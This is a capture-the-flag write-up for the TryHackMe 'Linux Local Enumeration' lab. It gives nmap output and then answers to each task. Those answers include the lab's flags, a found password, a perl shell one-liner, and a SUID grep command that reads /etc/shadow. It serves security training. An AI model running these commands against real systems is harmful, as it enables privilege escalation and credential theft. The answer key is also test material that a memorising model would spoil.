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https://github.com/AbdullahRizwan101/CTF-Writeups
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105 lines
2.3 KiB
Markdown
105 lines
2.3 KiB
Markdown
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# TryHackMe-Linux Local Enumeration
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## NMAP
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```
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Nmap scan report for 10.10.185.249
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Host is up (0.17s latency).
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Not shown: 997 closed ports
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PORT STATE SERVICE VERSION
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22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
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| ssh-hostkey:
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| 2048 35:30:91:45:b9:d1:ed:5a:13:42:3e:20:95:6d:c7:b7 (RSA)
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| 256 f5:69:6a:7b:c8:ac:89:b5:38:93:50:2f:05:24:22:70 (ECDSA)
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|_ 256 8f:4d:37:ba:40:12:05:fa:f0:e6:d6:82:fb:65:52:e8 (ED25519)
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80/tcp open http Apache httpd 2.4.29
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|_http-server-header: Apache/2.4.29 (Ubuntu)
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|_http-title: Index of /
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3000/tcp open http PHP cli server 5.5 or later
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|_http-title: Fox's website
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Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
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Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
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Nmap done: 1 IP address (1 host up) scanned in 41.99 seconds
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```
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## Gaining a shell
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We see through `nmap` scan that there are 2 ports open 80 and 3000 , we can clearly see that port 3000 has php running so it maybe vulnerable to RCE or something
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<img src="https://imgur.com/oLWw71u.png"/>
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I'm going to do RCE one so
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<img src="https://imgur.com/VNow06N.png"/>
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### Task 1 Let's go!
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`No answer needed`
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### Task 2 How would you execute /bin/bash with perl?
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`perl -e 'exec "/bin/bash";'`
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### Task 3 Where can you usually find the id_rsa file? (User = user)
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`/home/user/.ssh/id_rsa`
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#### Is there an id_rsa file on the box? (yay/nay)
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<img src="https://imgur.com/hO5djff.png"/>
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`nay`
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<img src="https://imgur.com/caSZMrz.png"/>
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### Task 4 How would you print machine hardware name only?
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`uname -m`
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#### Where can you find bash history?
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`~/.bash_history`
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#### What's the flag?
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`thm{clear_the_history}`
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<img src="https://imgur.com/NM2qYKw.png"/>
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### Task 5 Can you read /etc/passwd on the box? (yay/nay)
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`yay`
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<img src="https://imgur.com/ywriz39.png"/>
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<img src="https://imgur.com/wZbhJ8c.png"/>
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### Task 6 What's the password you found?
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`THMSkidyPass`
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#### Did you find a flag?
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`thm{conf_file}`
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<img src="https://imgur.com/iHxd9AF.png"/>
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<img src="https://imgur.com/BcllTsl.png"/>
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<img src="https://imgur.com/MBVW2b7.png"/>
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### Task 7 Which SUID binary has a way to escalate your privileges on the box?
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`grep`
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#### What's the payload you can use to read /etc/shadow with this SUID?
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`grep '' /etc/shadow`
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